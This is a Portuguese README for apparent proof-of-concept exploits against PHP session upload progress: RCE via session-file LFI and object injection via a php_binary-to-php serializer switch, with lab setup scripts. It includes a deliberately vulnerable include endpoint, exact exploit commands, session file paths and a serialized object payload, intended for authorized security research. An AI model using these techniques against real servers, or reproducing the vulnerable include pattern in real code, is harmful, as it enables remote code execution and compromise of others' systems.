
Dois PoCs em Python para RCE no progresso de upload de sessão do PHP: execução de código via LFI de arquivo de sessão e injeção de objeto do serializador php_binary para php, com scripts de configuração de laboratório.
https://github.com/user-attachments/assets/7d25d259-ec00-4e3a-810c-09098f0afb5f
https://github.com/user-attachments/assets/00a0d3e7-bd78-4bdb-992f-0110fc580746
Este repositório contém dois PoCs de laboratório para o upload progress de sessão do PHP. O handler de upload progress grava um campo controlado pelo atacante no arquivo de sessão antes de o código da aplicação ser executado:
poc.py): o handler armazena um nome de arquivo ou valor de progress
contendo código PHP. Se um LFI autorizado incluir o arquivo de sessão,
esse código é executado.poc-php-binary.py): o registro de progress é gravado
com php_binary, e então a aplicação muda para o serializador php e
chama session_start(). O decodificador php desserializa o valor de progress
do atacante, comprovando uma primitiva de injeção de objeto sem qualquer LFI.Use estes PoCs apenas contra sistemas que você possui ou está explicitamente autorizado a testar.
O endpoint ?file= gerado é intencionalmente inseguro e deve permanecer em um laboratório.
| Arquivo | Finalidade |
|---|---|
poc.py | PoC de upload multipart com injeção via --filename / --progress / --field-name e polling LFI opcional |
poc-php-binary.py | PoC de serialização php_binary -> php sem LFI |
setup.sh | Implanta o laboratório de LFI via arquivo de sessão na porta 80 (instala Apache/PHP se ausentes) |
setup-php-binary.sh | O mesmo script que setup.sh; difere apenas no index.php implantado e no escopo de session.serialize_handler=php_binary |
poc.mp4 | Demonstração: LFI via arquivo de sessão |
poc-php-binary.mp4 | Demonstração: troca de serializador php_binary |
setup.sh detecta a distribuição, instala o servidor web e os pacotes PHP
caso estejam ausentes, limpa /var/www/html, grava apenas index.php e
recarrega o servidor web. Execute-o como um usuário com direitos de sudo; o script chama
sudo por conta própria, portanto não é necessário prefixar toda a invocação:
bash setup.sh
Quando termina, imprime [+] Deployed: /var/www/html/index.php e a URL
para testar.
Instala httpd, php e php-fpm. Como mod_php não é mais empacotado
ali, o script também grava /etc/httpd/conf.d/php.conf para encaminhar as requisições
.php para o socket php-fpm, e então inicia php-fpm e httpd. A página é
servida na porta normal do Apache:
http://<host>/index.php
Instala apache2, php e libapache2-mod-php (mod_php), e habilita
o módulo PHP caso ainda não esteja carregado. A página é servida na porta
normal do Apache:
http://<host>/index.php
A configuração não define valores PHP INI relacionados à sessão. Ela utiliza a configuração PHP do sistema.
A página gerada:
<?php
declare(strict_types=1);
if (isset($_GET['file']) && $_GET['file'] !== '') {
header('Content-Type: text/plain; charset=utf-8');
include $_GET['file'];
} else {
echo "hello, world\n";
}
Confira:
curl http://192.168.122.170/index.php
# hello, world
setup.sh limpa /var/www/html; não o execute em um host com um site real
lá.
poc.pyO PoC solicita confirmação antes de enviar. --duration é o número de
blocos de upload de um segundo; o padrão é 45. Escolha exatamente um modo de
injeção:
--filename coloca o payload PHP no nome do arquivo multipart.--progress coloca-o no valor de PHP_SESSION_UPLOAD_PROGRESS (o payload
não pode conter |).--field-name coloca-o no nome do campo da parte do arquivo, que o handler
armazena sem tratamento em files[].field_name (ext/session/session.c:3321) sem
filtragem de entrada. O payload não pode conter ", [ ou ] (o parser
multipart lê o nome do campo até a aspa de fechamento e rejeita colchetes
desbalanceados).--lfi requer um de --fedora, --ubuntu ou --tmp para que o PoC consulte
o arquivo de sessão para a plataforma correta. No Ubuntu:
python3 poc.py \
--remote 'http://192.168.122.170/index.php' \
--filename \
--lfi 'http://192.168.122.170/index.php?file={file}' \
--ubuntu
No Fedora / RHEL:
python3 poc.py \
--remote 'http://192.168.122.170/index.php' \
--filename \
--lfi 'http://192.168.122.170/index.php?file={file}' \
--fedora
O PoC aguarda oito segundos e, em seguida, consulta o LFI uma vez por segundo enquanto o
upload ainda está em execução. Ele para assim que vê a saída do payload executado
(RCE <version>), aborta o upload restante e sai com 0. Se o upload terminar
sem correspondência, ele sai com 1. Durações abaixo de 20 segundos são elevadas para 20 quando
o polling está habilitado, porque o PHP precisa de aproximadamente dez segundos para gravar a
entrada de progresso.
Sem --lfi, os flags da plataforma são opcionais; o PoC apenas envia o upload
e você pode inspecionar o arquivo de sessão manualmente.
O flag da plataforma seleciona o arquivo a ser monitorado:
--fedora /var/lib/php/session/sess_pwnd00000000000001
--ubuntu /var/lib/php/sessions/sess_pwnd00000000000001
--tmp /tmp/sess_pwnd00000000000001
php_binary -> php troca de serializadorsetup-php-binary.sh é o mesmo script que setup.sh — os dois arquivos são
idênticos byte a byte exceto por um bloco lab-specific configuration (o index.php
que é implantado e o serializador sob o qual o lab é executado). Ele instala pacotes
se necessário, limpa /var/www/html, grava seu index.php e recarrega o Apache,
e adicionalmente restringe session.serialize_handler=php_binary ao lab:
Fedora/RHEL usam um pool php-fpm dedicado conectado via /etc/httpd/conf.d/php.conf;
Ubuntu/Debian usam um php_value em um trecho de conf do Apache. Executar novamente setup.sh
remove essa restrição e restaura o lab LFI padrão, de modo que os dois scripts alternam
o lab compartilhado /var/www/html entre um e outro.
bash setup-php-binary.sh
O endpoint começa com session.serialize_handler=php_binary, muda para
php em tempo de execução e chama session_start():
<?php
declare(strict_types=1);
class Gadget {
public function __wakeup() { echo "SERIALIZED_WAKEUP\n"; }
public function __destruct() { echo "SERIALIZED_DESTRUCT\n"; }
}
ini_set('session.serialize_handler', 'php');
session_start();
echo "hello, world\n";
poc-php-binary.pypython3 poc-php-binary.py \
--remote 'http://192.168.122.170/index.php'
O script é somente de serialização; não há modo LFI. Ele envia o valor de progresso
x|O:6:"Gadget":0:{} (ou a classe nomeada por --gadget) mais uma parte de arquivo
normal. --duration tem como padrão 45 e é elevado para pelo menos 20. Após oito
segundos, ele consulta a mesma URL com o mesmo PHPSESSID a cada segundo, imprime
cada resposta e sai com 0 assim que SERIALIZED_WAKEUP ou
SERIALIZED_DESTRUCT aparecer. Se o upload terminar sem correspondência, ele sai com 1.
O prefixo x| fornece o delimitador que php_binary não escreve, então o
decodificador php vê o objeto serializado como o valor de progresso.